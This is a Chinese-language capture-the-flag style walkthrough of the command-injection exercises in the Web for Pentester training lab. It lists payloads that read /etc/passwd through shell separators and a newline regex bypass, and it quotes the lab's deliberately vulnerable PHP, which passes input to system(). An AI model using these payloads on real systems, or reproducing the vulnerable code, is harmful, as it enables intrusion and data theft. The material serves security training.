前言
Web for Pentester靶场是一个难度中等偏低的专项训练靶场,对新手友好,有XSS、SQL注入、目录穿越、文件包含、代码注入、命令注入、LDAP攻击、文件上传、XML攻击。适合无聊时候巩固知识玩一下。
本次先完成命令注入部分题目。系列文章第一篇。
点击iso下载靶机:
访问靶机ip地址看到如下页面就访问成功了。
靶场共9部分,源码在 /var/www 下。
命令执行
Commands injection -Example 1
没有任何过滤,直接打,用Linux的特殊符号
在Linux里,
;
command1 ; command2分割命令,从左到右执行,执行中互不干扰。
|
command1 | command2将命令1的输出作为命令2的输入,将命令2的输出作为命令3的输入,依此类推。
||
command1 || command2代表逻辑 or , 命令1为假,才会执行命令2
&
command1&command2命令1和2都执行,只不过命令1被放在后台执行。
&&
command1 && command2代表逻辑 and ,如果命令1是假,那么命令2 将不被执行
这里有个坑:
因为是GET传参,注意适当的url编码。注意一些url里的保留字符,如果原样输出在url上就表示特殊的意义,不会被传入后端,比如 & 原样输出在url上是表示分割名值对的,这时候需要url编码后再使用。& ---> %26
其实在sql注入的时候也是同理,为什么get的请求注释要用--+
或者%23
。其实像验证也很简单,加一行代码输出后端接收到的GET参数是什么,看看就知道了。
payload:
?ip=127.0.0.1;cat /etc/passwd
?ip=127.0.0.1%26cat /etc/passwd
?ip=127.0.0.1%26%26cat /etc/passwd
?ip=127.0.0.1|cat /etc/passwd
?ip=127.0.0.1||cat /etc/passwd
来瞄一眼源码:
<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>
Commands injection -Example 2
白盒测试吧,来瞄一眼源码:
root@debian:/var/www/commandexec# cat example2.php
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>
这里给大家推荐一个正则的网站,大家看到又长又臭的正则表达式,看着很乱的时候
这个正则,过滤非ip ,结尾的/m 是匹配末尾行。$ 结尾,匹配字符串结尾,或者当使用多行标记(m)时,匹配一行的结尾。这个正则迫使,比如是ip开头结尾,所以想绕过,换行就行了,
看到 /m 想到换行绕过。%0A
payload:
?ip=127.0.0.1%0acat /etc/passwd
Commands injection -Example 3
这一题就很有意思了,看完当时后当事人反应:“这代码有用,但没完全有用”
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
这题比较上一题的代码,去掉了 /m 多行匹配模式,检测不为ip则用header()函数
重定向location。
哎神奇的地方来了 ,代码执行顺序,先if 检查传入的参数,如果是ip ,直接执行system() ;如果不是ip ,则进入 if 的代码体,执行重定向,然鹅,并没有die结束,然后退出 if 代码体,顺序往下执行 system() ,,绝了啊,这if 写了等于没写。
burp抓包看看返回,或者 curl 也行:
curl "http://10.211.55.20/commandexec/example3.php?ip=127.0.0.1;cat%20/etc/passwd"
作者介绍:
Bitores
,无尽安全实验室团队成员之一。一个梦想着某天能顺着网线去搬走你域控主机的练习时长两年的渗透测试练习生。擅长 web/内网 渗透测试,分析常见漏洞,跟踪分析研究最新漏洞并提供漏洞修复方案。偶尔代码审计分析,攻防演练,红蓝对抗,配合应急响应处置突发安全事件。
靶场下载地址 https://pentesterlab.com/exercises/web_for_pentester/attachments